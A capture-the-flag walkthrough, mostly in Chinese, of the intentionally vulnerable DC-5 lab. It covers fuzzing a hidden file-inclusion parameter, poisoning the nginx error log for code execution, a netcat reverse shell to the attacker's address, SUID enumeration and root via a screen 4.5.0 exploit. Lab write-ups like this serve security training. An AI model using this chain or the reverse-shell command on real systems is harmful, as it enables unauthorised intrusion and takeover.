Description
DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).
As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.
And just for the record, there is no phpmailer exploit involved. 😃
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
But if you're really, really stuck, you can watch this video which shows the first step.
实验
收集一下基本信息
依次点击网页,查看有用信息
在 contact.php 中含提交参数
提交后所有参数由 thankyou.php 处理
思路一:sql注入
burp 抓包,对每个参数进行 fuzz 测试,查看是否回显不同或报错
未发现异常,手动测试了一下也是如此。
思路二:wfuzz参数
既然 thankyou.php 会对所有提交的参数进行处理,那么会不会存在隐藏参数呢?
并且如果你仔细一点可以注意到 tankyou.php 页面每刷新一次,copyright 都会变化。说明这个页面是动态的,并且能将某些内容打印出来。
尝试寻找隐藏参数
wfuzz -c -w /usr/share/wordlists/dirb/common.txt 192.168.110.136/thankyou.php?FUZZ=i_like_u
过滤掉相应长度为 851 的数据
wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hh 851 192.168.110.136/thankyou.php?FUZZ=i_like_u
拿到参数 file
一般来说,参数名称和对应功能是相匹配的,可能就是一个读取文件功能。
想到 LFI 本地文件包含漏洞
能够正常读取本地文件。由于目标机器没有 ssh 服务,所有只有反弹 shell 来获取控制权。考虑到这是 nginx 服务,利用日志投毒。
简单来说,就是先在 url 里访问一段恶意的 php 脚本,这个错误信息就会输出到 nginx 的错误日志下,在结合本地文件包含这个错误日志,解析脚本,就能获得控制权。
注意:错误信息会将url框内编码后的内容(未解码)保存到日志文件,所以为了脚本正常执行,用 burp 抓包然后提交恶意内容。
nginx 默认错误日志路径 /var/log/nginx/error.log
命令已经成功执行
反弹shell,...&cmd=nc -e /bin/bash 192.168.110.130 1314
www-data 是最低权限用户,活动范围只在 web 文件夹以内,很多命令受限。
这里依按例次检查这些点
[+ privilege escalation]
netstat -antup
cd /var/mail;ls
ps aux | grep -i 'root'
sudo -l
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
uname -a
lsb_release -a
最后在 设置了 suid 位的特权文件中发现有意思的东西
4.5.0 版本的 screen 很突出
这个 .sh 文件已经写好了攻击过程,只需要目标机器下载并执行这个脚本即可(前提是有 gcc)。
总结
- 扫描主机 ip,端口和服务信息。
- 访问网页,扫描目录,看到多个参数提交点,wfuzz 测试参数找到 file。
- LFI 本地文件包含加 nginx 日志投毒反弹shell。
- 查找到 suid 位文件 screen 4.5.0,目标机执行exp获得 root。